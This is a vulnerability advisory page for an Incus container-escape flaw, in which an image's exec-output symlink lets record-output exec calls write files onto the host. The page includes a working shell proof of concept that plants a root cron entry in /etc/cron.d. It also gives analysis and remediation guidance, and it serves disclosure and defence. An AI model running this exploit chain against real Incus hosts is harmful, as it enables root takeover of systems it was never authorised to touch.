Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Authenticated API user (PR:L) reliably writes attacker-controlled files to the host, escaping the instance (S:C) to gain root code execution with full C/I/A impact.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
Lifecycle Timeline
3DescriptionCVE.org
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
AnalysisAI
Host-side arbitrary file write in Incus (the LXD-fork container and VM manager) before 7.2.0 lets an attacker who can supply a crafted image and call the instance exec endpoint write attacker-controlled content to any path on the host, leading to root-level command execution. A top-level exec-output symlink packed into an image survives image unpacking, and when record-output:true is passed to /instances/$name/exec the daemon follows that symlink to write exec_UUID.stdout/.stderr outside the instance - for example into /etc/cron.d. A working proof-of-concept exists in the GHSA advisory, but there is no public exploit identified as used in active attacks.
Technical ContextAI
Incus is a system container and virtual-machine manager (a community fork of Canonical's LXD) that exposes a REST API over a local Unix socket. The flaw lives in the daemon component incusd (Go package github.com/lxc/incus/v7/cmd/incusd), in the exec output handling in instance_exec.go. When an image is unpacked, top-level symlinks are extracted verbatim, so a malicious image can place an exec-output entry that is actually a symlink. During an exec request with record-output enabled, os.Mkdir tolerates the pre-existing exec-output path and os.OpenFile then follows the symlink, writing the captured stdout/stderr to wherever the link points. This is a classic CWE-73 (External Control of File Name or Path) issue: the daemon trusts a filesystem path it does not canonicalize or guard against symlink traversal, enabling a sandbox-to-host escape.
RemediationAI
Upgrade to Incus 7.2.0 or later, which contains the fix (Vendor-released patch: 7.2.0); rebuild or repackage any distribution packages that bundle the incusd daemon from github.com/lxc/incus/v7. Until the upgrade is applied, restrict who can import images and call the exec endpoint: only allow images from trusted, internally built sources and block import of untrusted/third-party images, since the attack depends on a crafted image carrying a malicious top-level exec-output symlink (trade-off: disrupts workflows that rely on external image sources). Where feasible, avoid use of the record-output:true exec option and tighten Incus API access controls (project/role restrictions, trusted client certificates) so only fully trusted operators can launch instances, accepting that this reduces self-service capabilities for lower-trust users. See the vendor advisory at https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9 for fix details.
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: CriticalShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63977
GHSA-73hr-m85f-64v9